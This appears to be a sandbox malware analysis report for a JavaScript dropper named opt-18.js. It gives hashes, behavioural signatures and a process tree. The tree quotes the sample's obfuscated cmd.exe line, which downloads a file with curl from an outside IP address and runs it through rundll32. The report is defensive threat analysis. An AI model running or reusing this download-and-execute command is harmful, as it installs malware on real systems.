Analysis
- max time kernel
119s - max time network
122s - platform
windows7_x64 - resource
win7-20230831-en - resource tags
arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system - submitted
16/10/2023, 18:24
Static task
static1
Behavioral task
behavioral1
Sample
opt-18.js
Resource
win7-20230831-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
opt-18.js
Resource
win10v2004-20230915-en
6 signatures
150 seconds
General
- Target opt-18.js
- Size 413KB
- Sample231016-w12ccagb39
- SHA256 81a5e37edb0af191cde620a3448b078345b182f088e3e216e7aad4bc4e9f6a38
- MD5 e1c843e1e41bae7b3e0c3fb748664d24
- SHA1 7ce36970c1a4b5aeeecf12a885d6954f3d7dda6f
- SHA512 f77f0f813a803db534187db7d8c6ceaae683f57ee9fd751ad601534c451f6ed88e0e25415426bf8141639607a900d90e9314067f4def4921b7fe47edddd1e751
- SSDEEP 6144:3j38P9IwPaHP79bvi5u9r9pMrSizyzx47fUPnL3Lk1dxED99Kwwe:Lz14go1dxErKwb
- MD5 SHA1 SHA512 SSDEEP
Score
8/10
Malware Config
Signatures
- Blocklisted process makes network request 2 IoCs
flow pid Process 3 2964 wscript.exe 5 2964 wscript.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Runs ping.exe 1 TTPs 2 IoCs
pid Process 2128 PING.EXE 1728 PING.EXE - Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 2964 wrote to memory of 1704 2964 wscript.exe 29 PID 2964 wrote to memory of 1704 2964 wscript.exe 29 PID 2964 wrote to memory of 1704 2964 wscript.exe 29 PID 1704 wrote to memory of 2128 1704 cmd.exe 30 PID 1704 wrote to memory of 2128 1704 cmd.exe 30 PID 1704 wrote to memory of 2128 1704 cmd.exe 30 PID 1704 wrote to memory of 1728 1704 cmd.exe 31 PID 1704 wrote to memory of 1728 1704 cmd.exe 31 PID 1704 wrote to memory of 1728 1704 cmd.exe 31 PID 1704 wrote to memory of 1556 1704 cmd.exe 32 PID 1704 wrote to memory of 1556 1704 cmd.exe 32 PID 1704 wrote to memory of 1556 1704 cmd.exe 32
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\opt-18.js1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2964 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c ec || eCho ec & PING ec || cURL http://198.98.61.173/Ftn/level -o %TMP%\ec.log & PING -n 2 ec || ruNDlL32 %tmp%\ec.log scab /k haval462 & EXIT prqiAmUavMTcuG=2⤵
- Suspicious use of WriteProcessMemory
PID:1704 -
C:\Windows\system32\PING.EXEPING ec3⤵
- Runs ping.exe
PID:2128
-
-
C:\Windows\system32\PING.EXEPING -n 2 ec3⤵
- Runs ping.exe
PID:1728
-
-
C:\Windows\system32\rundll32.exeruNDlL32 C:\Users\Admin\AppData\Local\Temp\ec.log scab /k haval4623⤵PID:1556
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\Cab4230.tmp
- Size 61KB
- SHA256 6720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf
- MD5 f3441b8572aae8801c04f3060b550443
- SHA1 4ef0a35436125d6821831ef36c28ffaf196cda15
- SHA512 5ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9
- SSDEEP 1536:RfhMeKBlsociYZAT+4oGNk2rb2oX3bUH+uOlEU:RhV0WXvAa4XNoeudU
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\Tar4281.tmp
- Size 163KB
- SHA256 bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5
- MD5 9441737383d21192400eca82fda910ec
- SHA1 725e0d606a4fc9ba44aa8ffde65bed15e65367e4
- SHA512 7608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf
- SSDEEP 1536:AA8JXlCUs0RvWqgCyPW5BXNWdm1wpyru2/3EwjYoz0VDTrubmt6t+:AtJXq0RuXCyfdmAyru2/RAKtU
- MD5 SHA1 SHA512 SSDEEP